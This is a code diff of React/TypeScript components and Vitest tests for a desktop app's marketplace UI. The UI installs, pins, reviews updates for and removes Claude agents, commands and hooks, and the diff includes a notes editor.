const mp = api({
|
||||
updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B }],
|
||||
});
|
||||
render(<InstalledPane mp={mp} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
|
||||
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
|
||||
await waitFor(() =>
|
||||
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }, B),
|
||||
);
|
||||
});
|
||||
|
||||
it("I2: accepts the head that was reviewed even if the update list moves on", async () => {
|
||||
const C = "c".repeat(40);
|
||||
const item = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
|
||||
const mp = api({ updates: [{ item, pinned: A, head: B }] });
|
||||
const { rerender } = render(<InstalledPane mp={mp} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
|
||||
rerender(<InstalledPane mp={{ ...mp, updates: [{ item, pinned: A, head: C }] }} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
|
||||
await waitFor(() => expect(mp.update).toHaveBeenCalledWith(item, { type: "global" }, B));
|
||||
});
|
||||
|
||||
it("marks installs whose marketplace was removed and forgets them", () => {
|
||||
const mp = api();
|
||||
render(<InstalledPane mp={mp} />);
|
||||
expect(screen.getByText("Source removed")).toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Forget installs from removed marketplaces" }));
|
||||
expect(mp.forget).toHaveBeenCalledWith("gone");
|
||||
});
|
||||
|
||||
it("removes a project install", () => {
|
||||
const mp = api();
|
||||
render(<InstalledPane mp={mp} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Remove cmd from api" }));
|
||||
// F7: the ref passed to uninstall must be the bare item ref, not the
|
||||
// MarketplaceInstall (which also carries `commit`).
|
||||
expect(mp.uninstall).toHaveBeenCalledWith(
|
||||
{ marketplace_id: "m1", kind: "command", key: "cmd" },
|
||||
{ type: "project", project_id: "p1" },
|
||||
);
|
||||
});
|
||||
|
||||
it("applies now and summarises the result", async () => {
|
||||
applyMarketplaceNow.mockResolvedValue([
|
||||
{ project_id: "p1", report: { installed: ["agent:rev"], updated: [], removed: [], skipped: [], errors: [], finished_at: "" } },
|
||||
]);
|
||||
render(<InstalledPane mp={api()} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Apply now" }));
|
||||
await waitFor(() => expect(applyMarketplaceNow).toHaveBeenCalledWith(undefined));
|
||||
await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" }));
|
||||
expect(useAppState.getState().toasts[0].message).toContain("1 running project");
|
||||
});
|
||||
|
||||
it("applies now with no running projects and shows an info toast", async () => {
|
||||
applyMarketplaceNow.mockResolvedValue([]);
|
||||
render(<InstalledPane mp={api()} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Apply now" }));
|
||||
await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "info" }));
|
||||
});
|
||||
|
||||
it("F4: does not toast per-project sync errors from apply now (the event listener owns that)", async () => {
|
||||
applyMarketplaceNow.mockResolvedValue([
|
||||
{
|
||||
project_id: "p1",
|
||||
report: { installed: [], updated: [], removed: [], skipped: [], errors: ["boom"], finished_at: "" },
|
||||
},
|
||||
]);
|
||||
render(<InstalledPane mp={api()} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Apply now" }));
|
||||
await waitFor(() => expect(applyMarketplaceNow).toHaveBeenCalled());
|
||||
await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" }));
|
||||
expect(useAppState.getState().toasts).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("toasts an error only when the apply-now call itself fails", async () => {
|
||||
applyMarketplaceNow.mockRejectedValue("container unreachable");
|
||||
render(<InstalledPane mp={api()} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Apply now" }));
|
||||
await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error" }));
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,193 @@
|
||||
import { useState } from "react";
|
||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import { KIND_LABELS } from "../../lib/marketplace";
|
||||
import { applyMarketplaceNow } from "../../lib/tauri-commands";
|
||||
import type { InstallScope, ItemUpdate, MarketplaceInstall, MarketplaceItemRef } from "../../lib/types";
|
||||
import Button from "../ui/Button";
|
||||
import UpdateDiffModal from "./UpdateDiffModal";
|
||||
|
||||
function errorText(e: unknown): string {
|
||||
return typeof e === "string" ? e : e instanceof Error ? e.message : String(e);
|
||||
}
|
||||
|
||||
interface Pending {
|
||||
install: MarketplaceInstall;
|
||||
update: ItemUpdate;
|
||||
scope: InstallScope;
|
||||
scopeLabel: string;
|
||||
/** Hooks only: what the hook runs at `update.head`, captured with it. */
|
||||
hookCommands: string[] | undefined;
|
||||
}
|
||||
|
||||
export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
|
||||
const appSettings = useAppState((s) => s.appSettings);
|
||||
const projects = useAppState((s) => s.projects);
|
||||
const pushToast = useAppState((s) => s.pushToast);
|
||||
const [pending, setPending] = useState<Pending | null>(null);
|
||||
const [applying, setApplying] = useState(false);
|
||||
|
||||
const marketplaces = appSettings?.marketplaces ?? [];
|
||||
const known = new Set(marketplaces.map((m) => m.id));
|
||||
const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id;
|
||||
const globalInstalls = appSettings?.global_marketplace_installs ?? [];
|
||||
|
||||
const updateFor = (i: MarketplaceInstall) =>
|
||||
mp.updates.find(
|
||||
(u) =>
|
||||
u.item.marketplace_id === i.marketplace_id &&
|
||||
u.item.kind === i.kind &&
|
||||
u.item.key === i.key &&
|
||||
u.head !== i.commit,
|
||||
);
|
||||
|
||||
/** Hooks only (spec §3, preflight F8): the rendered commands at head, so the
|
||||
* diff review shows what a hook will run after the update, not just the
|
||||
* raw `hook.json` diff. */
|
||||
const hookCommandsFor = ({ item, head }: ItemUpdate): string[] | undefined => {
|
||||
if (item.kind !== "hook") return undefined;
|
||||
const snap = mp.snapshots.find((s) => s.marketplace_id === item.marketplace_id);
|
||||
// Only when the snapshot is at the head being reviewed; otherwise they
|
||||
// would describe a different version than the diff.
|
||||
if (snap?.head_commit !== head) return undefined;
|
||||
return snap.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
|
||||
};
|
||||
|
||||
const removedSources = [
|
||||
...new Set(
|
||||
[...globalInstalls, ...projects.flatMap((p) => p.marketplace_installs)]
|
||||
.map((i) => i.marketplace_id)
|
||||
.filter((id) => !known.has(id)),
|
||||
),
|
||||
];
|
||||
|
||||
const applyNow = async () => {
|
||||
setApplying(true);
|
||||
try {
|
||||
const results = await applyMarketplaceNow(undefined);
|
||||
// F4 (preflight): the backend emits `marketplace-sync-finished` for
|
||||
// every project synced here, and `useMarketplaceSyncToasts` already
|
||||
// toasts any errors/skips from that event. This toast is only the
|
||||
// success/info summary — a second error toast here would double up.
|
||||
if (results.length === 0) {
|
||||
pushToast({ kind: "info", message: "No running projects — changes apply when a project starts." });
|
||||
} else {
|
||||
pushToast({
|
||||
kind: "success",
|
||||
message: `Marketplace applied to ${results.length} running project${results.length === 1 ? "" : "s"}. New Claude sessions will use it.`,
|
||||
});
|
||||
}
|
||||
} catch (e) {
|
||||
pushToast({ kind: "error", message: "Could not apply marketplace changes", detail: errorText(e) });
|
||||
} finally {
|
||||
setApplying(false);
|
||||
}
|
||||
};
|
||||
|
||||
const row = (i: MarketplaceInstall, scope: InstallScope, scopeLabel: string, removeLabel: string) => {
|
||||
const upd = updateFor(i);
|
||||
const gone = !known.has(i.marketplace_id);
|
||||
// F7 (preflight): pass the bare item ref, not the MarketplaceInstall
|
||||
// itself — `commit` is not part of the ref the backend/store expect here.
|
||||
const ref: MarketplaceItemRef = { marketplace_id: i.marketplace_id, kind: i.kind, key: i.key };
|
||||
return (
|
||||
<li key={`${i.marketplace_id}/${i.kind}/${i.key}`} className="flex items-center justify-between gap-2 text-xs py-1">
|
||||
<div className="min-w-0">
|
||||
<span className="font-medium">{i.key}</span>
|
||||
<span className="ml-1 text-[var(--text-secondary)]">
|
||||
{KIND_LABELS[i.kind].replace(/s$/, "").toLowerCase()} · {nameOf(i.marketplace_id)} · {i.commit.slice(0, 8)}
|
||||
</span>
|
||||
{gone && <span className="ml-2 text-[var(--warning)]">Source removed</span>}
|
||||
</div>
|
||||
<div className="flex gap-1 flex-shrink-0">
|
||||
{upd && !gone && (
|
||||
<Button
|
||||
size="sm"
|
||||
variant="secondary"
|
||||
aria-label={`Review update for ${i.key}`}
|
||||
onClick={() =>
|
||||
setPending({ install: i, update: upd, scope, scopeLabel, hookCommands: hookCommandsFor(upd) })
|
||||
}
|
||||
>
|
||||
Update available
|
||||
</Button>
|
||||
)}
|
||||
<Button size="sm" variant="ghost" aria-label={removeLabel} onClick={() => void mp.uninstall(ref, scope)}>
|
||||
Remove
|
||||
</Button>
|
||||
</div>
|
||||
</li>
|
||||
);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="p-4 space-y-4 max-w-4xl">
|
||||
<div className="flex items-center justify-between gap-2">
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
Installs are pinned to a commit. Containers pick up changes on their next start, or now for running ones.
|
||||
Changes apply to new Claude sessions.
|
||||
</p>
|
||||
<Button size="md" variant="primary" disabled={applying} onClick={() => void applyNow()}>
|
||||
{applying ? "Applying…" : "Apply now"}
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
{removedSources.length > 0 && (
|
||||
<div className="rounded-[var(--radius-control)] border border-[var(--warning)]/40 bg-[var(--warning-muted)] p-2 text-xs space-y-1">
|
||||
<p>
|
||||
Some installs come from marketplaces that were removed. They are removed from containers at their next
|
||||
sync.
|
||||
</p>
|
||||
<Button
|
||||
size="sm"
|
||||
variant="secondary"
|
||||
aria-label="Forget installs from removed marketplaces"
|
||||
onClick={() => removedSources.forEach((id) => void mp.forget(id))}
|
||||
>
|
||||
Forget
|
||||
</Button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<section data-testid="installed-global">
|
||||
<h3 className="text-xs font-medium mb-1">All projects</h3>
|
||||
{globalInstalls.length === 0 ? (
|
||||
<p className="text-xs text-[var(--text-secondary)]">Nothing installed for all projects.</p>
|
||||
) : (
|
||||
<ul>{globalInstalls.map((i) => row(i, { type: "global" }, "All projects", `Remove ${i.key} from all projects`))}</ul>
|
||||
)}
|
||||
</section>
|
||||
|
||||
{projects.map((p) => (
|
||||
<section key={p.id} data-testid={`installed-project-${p.id}`}>
|
||||
<h3 className="text-xs font-medium mb-1">{p.name}</h3>
|
||||
{p.marketplace_installs.length === 0 ? (
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
No project-only installs
|
||||
{p.marketplace_disabled.length > 0 ? ` · opted out of ${p.marketplace_disabled.length} global item(s)` : ""}.
|
||||
</p>
|
||||
) : (
|
||||
<ul>
|
||||
{p.marketplace_installs.map((i) =>
|
||||
row(i, { type: "project", project_id: p.id }, p.name, `Remove ${i.key} from ${p.name}`),
|
||||
)}
|
||||
</ul>
|
||||
)}
|
||||
</section>
|
||||
))}
|
||||
|
||||
{pending && (
|
||||
<UpdateDiffModal
|
||||
item={pending.update.item}
|
||||
fromCommit={pending.install.commit}
|
||||
toCommit={pending.update.head}
|
||||
scopeLabel={pending.scopeLabel}
|
||||
hookCommands={pending.hookCommands}
|
||||
onClose={() => setPending(null)}
|
||||
// Pin exactly the head whose diff is on screen (final review I2).
|
||||
onAccept={() => mp.update(pending.update.item, pending.scope, pending.update.head)}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
import type { CatalogItem } from "../../lib/types";
|
||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||
import { KIND_LABELS } from "../../lib/marketplace";
|
||||
import StatusIndicator from "../ui/StatusIndicator";
|
||||
import InstallControls from "./InstallControls";
|
||||
|
||||
interface Props {
|
||||
mp: MarketplaceApi;
|
||||
item: CatalogItem;
|
||||
marketplaceId: string;
|
||||
/** The marketplace head `item` was read at. */
|
||||
headCommit: string | null;
|
||||
}
|
||||
|
||||
export default function ItemDetail({ mp, item, marketplaceId, headCommit }: Props) {
|
||||
return (
|
||||
<div className="space-y-3">
|
||||
<div>
|
||||
<p className="text-[10px] uppercase tracking-wide text-[var(--text-secondary)]">
|
||||
{KIND_LABELS[item.kind].replace(/s$/, "")} · <code className="font-mono">{item.path}</code>
|
||||
</p>
|
||||
<h3 className="text-sm font-medium text-[var(--text-primary)]">{item.name}</h3>
|
||||
{item.description && <p className="text-xs text-[var(--text-secondary)] leading-snug">{item.description}</p>}
|
||||
</div>
|
||||
{item.invalid && (
|
||||
<div className="rounded-[var(--radius-control)] border border-[var(--error)]/40 bg-[var(--error-muted)] p-2">
|
||||
<StatusIndicator tone="error" label="Cannot be installed" className="text-xs" />
|
||||
<p className="mt-1 text-xs text-[var(--text-secondary)]">{item.invalid}</p>
|
||||
</div>
|
||||
)}
|
||||
{item.kind === "hook" && item.hook_commands.length > 0 && (
|
||||
<div>
|
||||
<p className="text-xs font-medium mb-1">Commands this hook runs</p>
|
||||
<ul className="space-y-1">
|
||||
{item.hook_commands.map((c) => (
|
||||
<li key={c}>
|
||||
<code className="block font-mono text-xs break-all">{c}</code>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
{item.preview && (
|
||||
<pre className="max-h-80 overflow-auto p-2 text-xs font-mono whitespace-pre-wrap rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
|
||||
{item.preview}
|
||||
</pre>
|
||||
)}
|
||||
<div>
|
||||
<p className="text-xs font-medium mb-1">Install</p>
|
||||
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} headCommit={headCommit} />
|
||||
<p className="mt-2 text-[11px] text-[var(--text-secondary)]">
|
||||
Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes
|
||||
apply to new Claude sessions.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
|
||||
const load = vi.fn(async () => {});
|
||||
vi.mock("../../hooks/useMarketplace", () => ({
|
||||
useMarketplace: () => ({
|
||||
snapshots: [],
|
||||
updates: [],
|
||||
loading: false,
|
||||
refreshing: [],
|
||||
load,
|
||||
refresh: vi.fn(),
|
||||
reloadState: vi.fn(),
|
||||
install: vi.fn(),
|
||||
uninstall: vi.fn(),
|
||||
setDisabled: vi.fn(),
|
||||
update: vi.fn(),
|
||||
forget: vi.fn(),
|
||||
remove: vi.fn(),
|
||||
}),
|
||||
}));
|
||||
vi.mock("./BrowsePane", () => ({ default: () => <div>browse pane</div> }));
|
||||
vi.mock("./InstalledPane", () => ({ default: () => <div>installed pane</div> }));
|
||||
vi.mock("./AccountsPane", () => ({ default: () => <div>accounts pane</div> }));
|
||||
|
||||
import MarketplaceView from "./MarketplaceView";
|
||||
|
||||
describe("MarketplaceView", () => {
|
||||
beforeEach(() => vi.clearAllMocks());
|
||||
|
||||
it("loads with stale refresh when first shown and switches sub-tabs", async () => {
|
||||
render(<MarketplaceView active />);
|
||||
await waitFor(() => expect(load).toHaveBeenCalledWith({ refreshStale: true }));
|
||||
expect(screen.getByText("browse pane")).toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("tab", { name: "Installed" }));
|
||||
expect(screen.getByText("installed pane")).toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("tab", { name: "Accounts" }));
|
||||
expect(screen.getByText("accounts pane")).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("does not load while hidden", () => {
|
||||
render(<MarketplaceView active={false} />);
|
||||
expect(load).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,67 @@
|
||||
import { useEffect, useRef, useState } from "react";
|
||||
import { useMarketplace } from "../../hooks/useMarketplace";
|
||||
import BrowsePane from "./BrowsePane";
|
||||
import InstalledPane from "./InstalledPane";
|
||||
import AccountsPane from "./AccountsPane";
|
||||
|
||||
const SUB_TABS = [
|
||||
{ id: "browse", label: "Browse" },
|
||||
{ id: "installed", label: "Installed" },
|
||||
{ id: "accounts", label: "Accounts" },
|
||||
] as const;
|
||||
|
||||
export type MarketplaceSubTab = (typeof SUB_TABS)[number]["id"];
|
||||
|
||||
interface Props {
|
||||
active: boolean;
|
||||
}
|
||||
|
||||
export default function MarketplaceView({ active }: Props) {
|
||||
const mp = useMarketplace();
|
||||
const [tab, setTab] = useState<MarketplaceSubTab>("browse");
|
||||
const { load } = mp;
|
||||
const wasActive = useRef(false);
|
||||
|
||||
// Load (and refresh stale marketplaces) each time the tab comes to the front.
|
||||
useEffect(() => {
|
||||
if (active && !wasActive.current) void load({ refreshStale: true });
|
||||
wasActive.current = active;
|
||||
}, [active, load]);
|
||||
|
||||
return (
|
||||
<div className={`w-full h-full flex flex-col min-h-0 ${active ? "" : "hidden"}`}>
|
||||
<div
|
||||
role="tablist"
|
||||
aria-label="Marketplace sections"
|
||||
className="flex gap-1 px-3 pt-3 border-b border-[var(--border-color)]"
|
||||
>
|
||||
{SUB_TABS.map((t) => (
|
||||
<button
|
||||
key={t.id}
|
||||
type="button"
|
||||
role="tab"
|
||||
aria-selected={tab === t.id}
|
||||
onClick={() => setTab(t.id)}
|
||||
className={`px-3 py-1.5 text-xs rounded-t-[var(--radius-control)] ${
|
||||
tab === t.id
|
||||
? "bg-[var(--bg-primary)] text-[var(--text-primary)]"
|
||||
: "text-[var(--text-secondary)] hover:text-[var(--text-primary)]"
|
||||
}`}
|
||||
>
|
||||
{t.label}
|
||||
{t.id === "installed" && mp.updates.length > 0 && (
|
||||
<span className="ml-1.5 px-1 rounded-[4px] text-[10px] bg-[var(--accent-muted)] text-[var(--accent)]">
|
||||
{mp.updates.length}
|
||||
</span>
|
||||
)}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<div className="flex-1 min-h-0 overflow-auto">
|
||||
{tab === "browse" && <BrowsePane mp={mp} />}
|
||||
{tab === "installed" && <InstalledPane mp={mp} />}
|
||||
{tab === "accounts" && <AccountsPane mp={mp} />}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
|
||||
const marketplaceItemDiff = vi.fn();
|
||||
vi.mock("../../lib/tauri-commands", () => ({
|
||||
marketplaceItemDiff: (...a: unknown[]) => marketplaceItemDiff(...a),
|
||||
}));
|
||||
|
||||
import UpdateDiffModal from "./UpdateDiffModal";
|
||||
|
||||
const A = "a".repeat(40);
|
||||
const B = "b".repeat(40);
|
||||
const item = { marketplace_id: "m1", kind: "hook" as const, key: "notify" };
|
||||
|
||||
describe("UpdateDiffModal", () => {
|
||||
beforeEach(() => vi.clearAllMocks());
|
||||
|
||||
it("loads the diff from the install's pin to head and accepts", async () => {
|
||||
marketplaceItemDiff.mockResolvedValue([
|
||||
{ path: "notify.sh", change: "modified", unified: "-echo old\n+echo new\n" },
|
||||
{ path: "icon.png", change: "added", unified: null },
|
||||
]);
|
||||
const onAccept = vi.fn(async () => true);
|
||||
render(<UpdateDiffModal item={item} fromCommit={A} toCommit={B} scopeLabel="All projects" onClose={vi.fn()} onAccept={onAccept} />);
|
||||
await waitFor(() => expect(marketplaceItemDiff).toHaveBeenCalledWith(item, A, B));
|
||||
expect(screen.getByText(/\+echo new/)).toBeInTheDocument();
|
||||
expect(screen.getByText("Binary file — no text diff")).toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Update" }));
|
||||
await waitFor(() => expect(onAccept).toHaveBeenCalled());
|
||||
});
|
||||
|
||||
it("shows a load error and keeps Update disabled", async () => {
|
||||
marketplaceItemDiff.mockRejectedValue("commit not in cache");
|
||||
render(<UpdateDiffModal item={item} fromCommit={A} toCommit={B} scopeLabel="p" onClose={vi.fn()} onAccept={vi.fn()} />);
|
||||
expect(await screen.findByText(/commit not in cache/)).toBeInTheDocument();
|
||||
expect(screen.getByRole("button", { name: "Update" })).toBeDisabled();
|
||||
});
|
||||
|
||||
it("shows the rendered commands a hook will run after the update (F8)", async () => {
|
||||
marketplaceItemDiff.mockResolvedValue([]);
|
||||
render(
|
||||
<UpdateDiffModal
|
||||
item={item}
|
||||
fromCommit={A}
|
||||
toCommit={B}
|
||||
scopeLabel="All projects"
|
||||
hookCommands={["/home/claude/.claude/triple-c/hooks/notify/run.sh --new-flag"]}
|
||||
onClose={vi.fn()}
|
||||
onAccept={vi.fn()}
|
||||
/>,
|
||||
);
|
||||
await waitFor(() => expect(marketplaceItemDiff).toHaveBeenCalled());
|
||||
expect(screen.getByText("Commands after this update")).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByText("/home/claude/.claude/triple-c/hooks/notify/run.sh --new-flag"),
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,128 @@
|
||||
import { useEffect, useState } from "react";
|
||||
import Modal from "../ui/Modal";
|
||||
import Button from "../ui/Button";
|
||||
import { marketplaceItemDiff } from "../../lib/tauri-commands";
|
||||
import { formatItemRef } from "../../lib/marketplace";
|
||||
import type { FileDiff, MarketplaceItemRef } from "../../lib/types";
|
||||
|
||||
interface Props {
|
||||
item: MarketplaceItemRef;
|
||||
fromCommit: string;
|
||||
toCommit: string;
|
||||
scopeLabel: string;
|
||||
/**
|
||||
* Hooks only: the rendered commands the item runs at `toCommit` (head), from
|
||||
* the marketplace snapshot's catalog entry. An update can change what a hook
|
||||
* runs without going back through the install-time confirm list, so this is
|
||||
* shown alongside the file diff — spec §3. Undefined for non-hook items.
|
||||
*/
|
||||
hookCommands?: string[];
|
||||
onClose: () => void;
|
||||
/** Resolves true when the update was applied. */
|
||||
onAccept: () => Promise<boolean>;
|
||||
}
|
||||
|
||||
const CHANGE_LABEL: Record<FileDiff["change"], string> = {
|
||||
added: "added",
|
||||
removed: "removed",
|
||||
modified: "modified",
|
||||
};
|
||||
|
||||
export default function UpdateDiffModal({
|
||||
item,
|
||||
fromCommit,
|
||||
toCommit,
|
||||
scopeLabel,
|
||||
hookCommands,
|
||||
onClose,
|
||||
onAccept,
|
||||
}: Props) {
|
||||
const [diffs, setDiffs] = useState<FileDiff[] | null>(null);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
marketplaceItemDiff(item, fromCommit, toCommit)
|
||||
.then((d) => {
|
||||
if (!cancelled) setDiffs(d);
|
||||
})
|
||||
.catch((e) => {
|
||||
if (!cancelled) setError(typeof e === "string" ? e : String(e));
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [item, fromCommit, toCommit]);
|
||||
|
||||
const accept = async () => {
|
||||
setBusy(true);
|
||||
try {
|
||||
if (await onAccept()) onClose();
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<Modal
|
||||
title={`Update ${formatItemRef(item)}`}
|
||||
description={`${scopeLabel}: ${fromCommit.slice(0, 8)} → ${toCommit.slice(0, 8)}. Review the changes before accepting.`}
|
||||
widthClassName="w-[52rem]"
|
||||
dismissible={!busy}
|
||||
onClose={onClose}
|
||||
footer={
|
||||
<>
|
||||
<Button size="md" variant="ghost" onClick={onClose} disabled={busy}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button size="md" variant="primary" onClick={() => void accept()} disabled={busy || diffs === null}>
|
||||
Update
|
||||
</Button>
|
||||
</>
|
||||
}
|
||||
>
|
||||
{error && <p role="alert" className="text-xs text-[var(--error)]">{error}</p>}
|
||||
{!error && diffs === null && <p className="text-xs text-[var(--text-secondary)]">Loading changes…</p>}
|
||||
{hookCommands && (
|
||||
<div className="mb-3">
|
||||
<p className="text-xs font-medium mb-1">Commands after this update</p>
|
||||
{hookCommands.length === 0 ? (
|
||||
<p className="text-xs text-[var(--text-secondary)]">This hook declares no commands.</p>
|
||||
) : (
|
||||
<ul className="space-y-1">
|
||||
{hookCommands.map((c) => (
|
||||
<li key={c}>
|
||||
<code className="block font-mono text-xs break-all px-2 py-1 rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
|
||||
{c}
|
||||
</code>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
{diffs && diffs.length === 0 && (
|
||||
<p className="text-xs text-[var(--text-secondary)]">No file changes (only the catalog entry changed).</p>
|
||||
)}
|
||||
{diffs && diffs.length > 0 && (
|
||||
<div className="space-y-3 max-h-[60vh] overflow-auto">
|
||||
{diffs.map((d) => (
|
||||
<div key={d.path}>
|
||||
<p className="text-xs font-mono mb-1">
|
||||
{d.path} <span className="text-[var(--text-secondary)]">({CHANGE_LABEL[d.change]})</span>
|
||||
</p>
|
||||
{d.unified === null ? (
|
||||
<p className="text-xs text-[var(--text-secondary)]">Binary file — no text diff</p>
|
||||
) : (
|
||||
<pre className="p-2 text-xs font-mono whitespace-pre overflow-auto rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
|
||||
{d.unified}
|
||||
</pre>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</Modal>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
import SendToAgentButton from "./SendToAgentButton";
|
||||
import Button from "../ui/Button";
|
||||
|
||||
interface Props {
|
||||
projectId: string;
|
||||
title: string;
|
||||
body: string;
|
||||
onTitleChange: (value: string) => void;
|
||||
onBodyChange: (value: string) => void;
|
||||
onCommit: () => void;
|
||||
onDelete: () => void;
|
||||
}
|
||||
|
||||
/**
|
||||
* Title and body, saved when a field loses focus.
|
||||
*
|
||||
* Plain text on purpose. There is no markdown rendering and no view/edit split,
|
||||
* so there is no moment where the text on screen is not the text that would be
|
||||
* sent — which is what makes "the agent gets exactly what you see" true rather
|
||||
* than nearly true.
|
||||
*/
|
||||
export default function NoteEditor({
|
||||
projectId,
|
||||
title,
|
||||
body,
|
||||
onTitleChange,
|
||||
onBodyChange,
|
||||
onCommit,
|
||||
onDelete,
|
||||
}: Props) {
|
||||
return (
|
||||
<div className="flex flex-col h-full min-h-0 gap-2 p-3">
|
||||
{/* Wraps rather than overflows. The two buttons are a group with a fixed
|
||||
appetite (~190px) and the title field can shrink only so far, so in a
|
||||
narrow dock the title takes the first row and the buttons the second.
|
||||
Without the wrap the group is simply clipped by the dock's
|
||||
`overflow-hidden`, which puts Delete off-window with no scrollbar to
|
||||
reach it. */}
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<input
|
||||
value={title}
|
||||
onChange={(e) => onTitleChange(e.target.value)}
|
||||
onBlur={onCommit}
|
||||
placeholder="Note title"
|
||||
aria-label="Note title"
|
||||
className="flex-1 min-w-24 px-2 h-8 bg-[var(--bg-primary)] border border-[var(--border-color)] rounded-[var(--radius-control)] text-[13px] text-[var(--text-primary)] focus:border-[var(--accent)] transition-colors"
|
||||
/>
|
||||
<div className="flex items-center gap-2 flex-shrink-0">
|
||||
{/* The live editor text, not `note.body` — what is on screen is what
|
||||
gets sent. */}
|
||||
<SendToAgentButton projectId={projectId} body={body} />
|
||||
<Button variant="danger" onClick={onDelete} aria-label="Delete note">
|
||||
Delete
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
<textarea
|
||||
value={body}
|
||||
onChange={(e) => onBodyChange(e.target.value)}
|
||||
onBlur={onCommit}
|
||||
placeholder="Reminders, gotchas, a prompt worth keeping…"
|
||||
aria-label="Note body"
|
||||
className="flex-1 min-h-0 w-full px-3 py-2 bg-[var(--bg-primary)] border border-[var(--border-color)] rounded-[var(--radius-control)] text-[13px] text-[var(--text-primary)] focus:border-[var(--accent)] resize-none font-mono transition-colors"
|
||||
/>
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
Notes save when a field loses focus. Sending puts the note in the agent’s
|
||||
prompt — you press Enter.
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user